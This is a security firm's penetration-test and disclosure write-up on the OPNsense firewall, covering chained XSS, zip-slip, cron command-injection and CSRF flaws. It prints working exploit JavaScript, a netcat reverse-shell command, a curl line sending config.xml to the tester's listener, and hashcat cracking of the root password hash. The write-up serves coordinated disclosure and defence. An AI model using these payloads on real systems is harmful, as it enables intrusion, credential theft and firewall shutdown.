Headline
CVE-2023-39008: LogicalTrust - [EN] A-Z: OPNsense - Penetration Test
A command injection vulnerability in the component /api/cron/settings/setJob/ of OPNsense before 23.7 allows attackers to execute arbitrary system commands.
Recently we performed a non-profit penetration test of OPNsense - an open source, FreeBSD based firewall and routing platform with ~51.47K active instances according to censys.io. The assessment was focused on web GUI and API as well as some parts of the system backend. Work has been carried out in a period from June 12 to June 26, 2023. In total, around 120 hours were committed to the project.
During the test we managed to find many interesting and varied vulnerabilities, e.g., Cross-Site Scripting, Cross-Site Request Forgery, Open Redirect, Insecure Permissions, OS Command Injection and Zip-Slip which eventually leads to root shell. You can find all of them in the Full PDF Report which is also a great example of what our commercial clients receive.
We would like to show you three scenarios of how vulnerabilities that we found could be chained together to perform attacks on the OPNsense instance.
Scenario 1 - Reflected XSS leads to root RCE via Zip-Slip
In this scenario we used Reflected Cross-Site Scripting vulnerability (LT-0017) to deliver our payload to the administrator. Sending GET request to https://opnsense/ui/cron/item/open/0’+alert(window.origin)+’ would result in the following response:
<!doctype html>
<html lang="en-US" class="no-js">
<head>
[...]
<script>
[...]
openDialog('0'+alert(window.origin)+'');
[...]
After an administrator clicks on our link, we need to send six requests from their browser. First two requests create new Captive Portal template, another three enable Captive Portal with the selected template, and the last one spawns netcat reverse shell with our brand-new luta.php webshell.
Example Javascript payload:
let requestData = {"name":"zipslip","content":"UEsDBAoAAAAAAJOO5VYdoS5KEAAAABAAAAA3ABwALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3d3dy9sdXRhLnBocFVUCQADxZGlZPyPpWR1eAsAAQQAAAAABAAAAAA8Pz1gJF9HRVRbeF1gPz4KUEsDBAoAAAAAAEGO5VYAAAAAAAAAAAAAAAAEABwAY3NzL1VUCQADKpGlZCuRpWR1eAsAAQToAwAABOgDAABQSwMEFAAAAAgAMn7lVqx0FrPKAAAAvQEAAAwAHABleGNsdWRlLmxpc3RVVAkAA/B0pWSLkaVkdXgLAAEE6AMAAAToAwAAjY8xbsMwDEV3nYJAhk5RgN6gd+gFZJeSmVKiQdJRffvKKbpk8sjPx/8/L/C5kAGTOczSPFEz8AUhE2NLFY8pOdS0QxOHCUEeqF3JHRtM+xPeDBX6MoRZMTm1AvNmLhUc68rJ0WK4wAcz0FAMqI27/9wu7e3pPC4Uv/6WeNTJVOJP5SNGNoWso1AX/Q6z2W0ScXNNaxxTrGl9USu1YxPyeMtuhfd1oeFp1yVx5tHRropl46QRxc9g9ihnMPd8BuuST3Pv4f762t3CL1BLAwQKAAAAAABEjuVWAAAAAAAAAAAAAAAABgAcAGZvbnRzL1VUCQADL5GlZDCRpWR1eAsAAQToAwAABOgDAABQSwMECgAAAAAASo7lVgAAAAAAAAAAAAAAAAcAHABpbWFnZXMvVVQJAAM8kaVkQZGlZHV4CwABBOgDAAAE6AMAAFBLAwQKAAAAAABTjuVW5yL1pwQAAAAEAAAACgAcAGluZGV4Lmh0bWxVVAkAA06RpWSLkaVkdXgLAAEE6AMAAAToAwAAcG9jClBLAwQKAAAAAABPjuVWAAAAAAAAAAAAAAAAAwAcAGpzL1VUCQADRZGlZEaRpWR1eAsAAQToAwAABOgDAABQSwECHgMKAAAAAACTjuVWHaEuShAAAAAQAAAANwAYAAAAAAABAAAApIEAAAAALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3d3dy9sdXRhLnBocFVUBQADxZGlZHV4CwABBAAAAAAEAAAAAFBLAQIeAwoAAAAAAEGO5VYAAAAAAAAAAAAAAAAEABgAAAAAAAAAEADtQYEAAABjc3MvVVQFAAMqkaVkdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAMn7lVqx0FrPKAAAAvQEAAAwAGAAAAAAAAQAAAICBvwAAAGV4Y2x1ZGUubGlzdFVUBQAD8HSlZHV4CwABBOgDAAAE6AMAAFBLAQIeAwoAAAAAAESO5VYAAAAAAAAAAAAAAAAGABgAAAAAAAAAEADtQc8BAABmb250cy9VVAUAAy+RpWR1eAsAAQToAwAABOgDAABQSwECHgMKAAAAAABKjuVWAAAAAAAAAAAAAAAABwAYAAAAAAAAABAA7UEPAgAAaW1hZ2VzL1VUBQADPJGlZHV4CwABBOgDAAAE6AMAAFBLAQIeAwoAAAAAAFOO5VbnIvWnBAAAAAQAAAAKABgAAAAAAAEAAACAgVACAABpbmRleC5odG1sVVQFAANOkaVkdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAT47lVgAAAAAAAAAAAAAAAAMAGAAAAAAAAAAQAO1BmAIAAGpzL1VUBQADRZGlZHV4CwABBOgDAAAE6AMAAFBLBQYAAAAABwAHAEsCAADVAgAAAAA="}
ajaxCall("/api/captiveportal/service/saveTemplate", requestData, () => {
ajaxCall("/api/captiveportal/service/reconfigure", {}, () => {
ajaxCall("/api/captiveportal/service/searchTemplates", {"current":1,"rowCount":7,"sort":{},"searchPhrase":"zipslip"}, (data, status) => {
let requestData = {"zone":{"enabled":"1","interfaces":"lan","authservers":"Local Database","alwaysSendAccountingReqs":"0","authEnforceGroup":"","idletimeout":"0","hardtimeout":"0","concurrentlogins":"1","certificate":"","servername":"","allowedAddresses":"","allowedMACAddresses":"","transparentHTTPProxy":"0","transparentHTTPSProxy":"0","extendedPreAuthData":"0","template":data.rows[0].uuid,"description":"poc"}}
ajaxCall("/api/captiveportal/settings/addZone/", requestData, () => {
ajaxCall("/api/captiveportal/service/reconfigure", {}, () => {
ajaxCall("/luta.php?x=rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 192.168.1.118 1337 >/tmp/f", null, null)
})
})
})
})
})
Above script can be base64 encoded and put inside the URL:
https://opnsense/ui/cron/item/open/0'+eval(atob('bGV0IHJlcXVlc3REYXRhID0geyJuYW1[...]gkJCQl9KQoJCQl9KQoJCX0pCgl9KQp9KQo='))+'
What’s interesting is that the application accepts templates in ZIP format, and then it extracts all of their contents to the template directory. However, the way in which the application extracts the files makes it vulnerable to the Zip-Slip attack (LT-0014):
# source: src/opnsense/scripts/OPNsense/CaptivePortal/overlay_template.py
with zipfile.ZipFile(input_data, mode='r', compression=zipfile.ZIP_DEFLATED) as zf_in:
for zf_info in zf_in.infolist():
if zf_info.filename[-1] != '/':
target_filename = '%s%s' % (target_directory, zf_info.filename)
file_target_directory = '/'.join(target_filename.split('/')[:-1])
if not os.path.isdir(file_target_directory):
os.makedirs(file_target_directory)
with open(target_filename, 'wb') as f_out:
f_out.write(zf_in.read(zf_info.filename))
os.chmod(target_filename, 0o444)
By using …/ sequences it is possible to extract files to other directories. This allows us to extract PHP file to the web root - /usr/local/www.
Our ZIP archive looks like this, where luta.php is a simple PHP web shell:
Archive: zipslip.zip
Length Date Time Name
--------- ---------- ----- ----
16 2023-07-05 17:52 ../../../../../../../../../../../usr/local/www/luta.php
0 2023-07-05 17:50 css/
445 2023-07-05 15:49 exclude.list
0 2023-07-05 17:50 fonts/
0 2023-07-05 17:50 images/
4 2023-07-05 17:50 index.html
0 2023-07-05 17:50 js/
--------- -------
465 7 files
Since the PHP process is being ran as a root user, the shell is granted root privileges as well.
Proof of Concept Video:****Scenario 2 - Reflected XSS -> OS Command Injection -> root password retrieval via config.xml insecure permissions
In the second scenario the payload is also delivered through Reflected XSS, but this time the vulnerability is introduced in Certificates tab (LT-0002). Sending request to https://opnsense/system_certmanager.php?act=%22%3E%3Csvg/onload=alert(window.origin)%3E&id=0 results in the following response body:
<!doctype html>
<html lang="en-US" class="no-js">
[...]
<form method="post" name="iform" id="iform"><input type="hidden" name="N3p4b1ZZUXpTc2VFWmFaLzRHQW5Ydz09" value="VUlyWVI0bWkyYkdjWDNvVGprQ1F2UT09" autocomplete="new-password" />
<input type="hidden" name="id" id="id" value="0"/>
<input type="hidden" name="act" id="action" value=""><svg/onload=alert(window.origin)>"/>
</form>
[...]
We want to send request to /api/cron/settings/addJob/ in order to add new cron job. The application allows only specific commands to be executed via cron, however, by including single quotes (') and newline character (\n) in the command parameters, we can define completely separate cron job and execute any command as nobody user (LT-0016).
Example Javascript payload:
let requestData = {"job":{"enabled":"1","minutes":"*","hours":"*","days":"*","months":"*","weekdays":"*","command":"firmware auto-update","parameters":"'\n*\t*\t*\t*\t* curl -F config=@/conf/config.xml 192.168.1.118:1337 #'","description":"poc2"}}
setTimeout(() => {
ajaxCall("/api/cron/settings/addJob/", requestData, () => {
ajaxCall("/api/cron/service/reconfigure", {}, () => {
})
})
}, 1000)
…and turned into an URL:
https://opnsense/system_certmanager.php?act=%22%3E%3Csvg/onload=eval(atob(%27bGV0IHJlcXVlc3REYXRh[...]HsKCQl9KQoJfSkKfSwgMTAwMCk=%27))%3E&id=0
After the administrator opens the link, we can see our command added to the crontab:
root@OPNsense:~ # cat /var/cron/tabs/nobody
# DO NOT EDIT THIS FILE -- OPNsense auto-generated file
#
# User-defined crontab files can be loaded via /etc/cron.d
# or /usr/local/etc/cron.d and follow the same format as
# /etc/crontab, see the crontab(5) manual page.
SHELL=/bin/sh
PATH=/etc:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
#minute hour mday month wday command
# Origin/Description: cron/poc2
* * * * * /usr/local/sbin/configctl -d firmware auto-update '
* * * * * curl -F config=@/conf/config.xml 192.168.1.118:1337 #'
In the above payload we are adding next vulnerability to the chain - even though we only have privileges of user nobody, insecure permissions (LT-0003) grant us read access to the configuration file:
root@OPNsense:/conf # ls -la
total 112
drwxr-xr-x 4 root wheel 512 Jul 31 12:41 .
drwxr-xr-x 21 root wheel 1024 Jul 31 12:44 ..
drwxr-xr-x 2 root wheel 4096 Jul 31 14:13 backup
-rw-r----- 1 root wheel 49152 Jul 31 12:41 captiveportal.sqlite
-rw-r--r-- 1 root wheel 39796 Jul 31 14:13 config.xml
-rw-r----- 1 root wheel 383 Jul 31 12:41 dhcpleases.tgz
-rw-r----- 1 root wheel 40 Jul 31 14:13 event_config_changed.json
drwxr-xr-x 2 root wheel 512 Jul 5 12:40 sshd
Soon config.xml is sent to our listener:
feliks@debian ~> nc -lkp 1337
POST / HTTP/1.1
Host: 192.168.1.118:1337
User-Agent: curl/7.87.0
Accept: */*
Content-Length: 39119
Content-Type: multipart/form-data; boundary=------------------------06c60d07c2a2ae1e
--------------------------06c60d07c2a2ae1e
Content-Disposition: form-data; name="config"; filename="config.xml"
Content-Type: application/xml
<?xml version="1.0"?>
<opnsense>
<theme>opnsense</theme>
<sysctl>
[...]
<user>
<name>root</name>
<descr>System Administrator</descr>
<scope>system</scope>
<groupname>admins</groupname>
<password>$2y$10$YRVoF4SgskIsrXOvOQjGieB9XqHPRra9R7d80B3BZdbY/j21TwBfS</password>
<uid>0</uid>
</user>
[...]
Congratulations, it’s a bcrypt hash of a root password!
Finally, we feed it to hashcat:
feliks@debian ~> hashcat -m 3200 '$2y$10$YRVoF4SgskIsrXOvOQjGieB9XqHPRra9R7d80B3BZdbY/j21TwBfS' -a 0 wordlist.txt
hashcat (v6.1.1) starting...
[...]
$2y$10$YRVoF4SgskIsrXOvOQjGieB9XqHPRra9R7d80B3BZdbY/j21TwBfS:opnsense
Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2y$10$YRVoF4SgskIsrXOvOQjGieB9XqHPRra9R7d80B3BZdbY...1TwBfS
Time.Started.....: Mon Jul 31 17:04:47 2023 (0 secs)
Time.Estimated...: Mon Jul 31 17:04:47 2023 (0 secs)
Guess.Base.......: File (wordlist.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 10 H/s (3.82ms) @ Accel:2 Loops:64 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 6/6 (100.00%)
Rejected.........: 0/6 (0.00%)
Restore.Point....: 0/6 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:960-1024
Candidates.#1....: luta -> opnsense
Started: Mon Jul 31 17:04:13 2023
Stopped: Mon Jul 31 17:04:48 2023
Scenario 3 - CSRF that halts the firewall
This one is quite straightforward. Administrator visits our website, from which we redirect them to https://opnsense/api/core/system/halt, to turn off the instance. Normally, this request is made using POST method and requires CSRF token, but during the test it turned out that the app accepts GET request as well, and in such case doesn’t require CSRF token.
As a result, the OPNsense instance turns off.
Proof of Concept Video:****Closing thoughts
We reported found vulnerabilities to OPNsense maintainers and we really want to thank them for a great response. They handled the whole process very professionally, quickly prepared effective patches for many vulnerabilities and included them in the newest release - OPNsense 23.7 “Restless Roadrunner”. Also, they provided us with reasoning behind decision to not patch some of them right now.
We are very happy about the outcome of the tests and can’t wait to start another project like this soon. Stay tuned!
Full list of found vulnerabilities
- LT-0001: Using GET method to modify application state
- LT-0002: Reflected Cross-Site Scripting - Certificates - act
- LT-0003: Insecure directory permissions - /conf/
- LT-0004: Reflected Cross-Site Scripting - Log Files - /ui/diagnostics/log/core/
- LT-0005: Open Redirect - Login
- LT-0006: Services run as root
- LT-0007: Insecure temporary file storage - /tmp/ usage
- LT-0008: Command injection - Backups - diag_backup.php
- LT-0009: Custom message injection - system_usermanager.php
- LT-0010: Improper error handling
- LT-0011: Lack of input sanitization - crash_reporter.php
- LT-0013: Insecure permissions - configd.socket
- LT-0014: Zip-slip in Captive Portal template upload leads to Remote Code Execution
- LT-0015: Verbose error messages
- LT-0016: Command injection - Cron - /api/cron/settings/setJob/
- LT-0017: Reflected Cross-Site Scripting - Cron - /ui/cron/item/open/
Timeline
- 27.06.2023 Vulnerabilities reported to OPNsense
- 27.06.2023 Report acknowledged
- 28.06 - 05.07.2023 Vendor fixed the vulnerabilities
- 12.07 Retest
- 17.07.2023 End of vulnerabilities disclosure process - reported issues are fixed or otherwise handled
- 31.07.2023 OPNsense 23.7 Released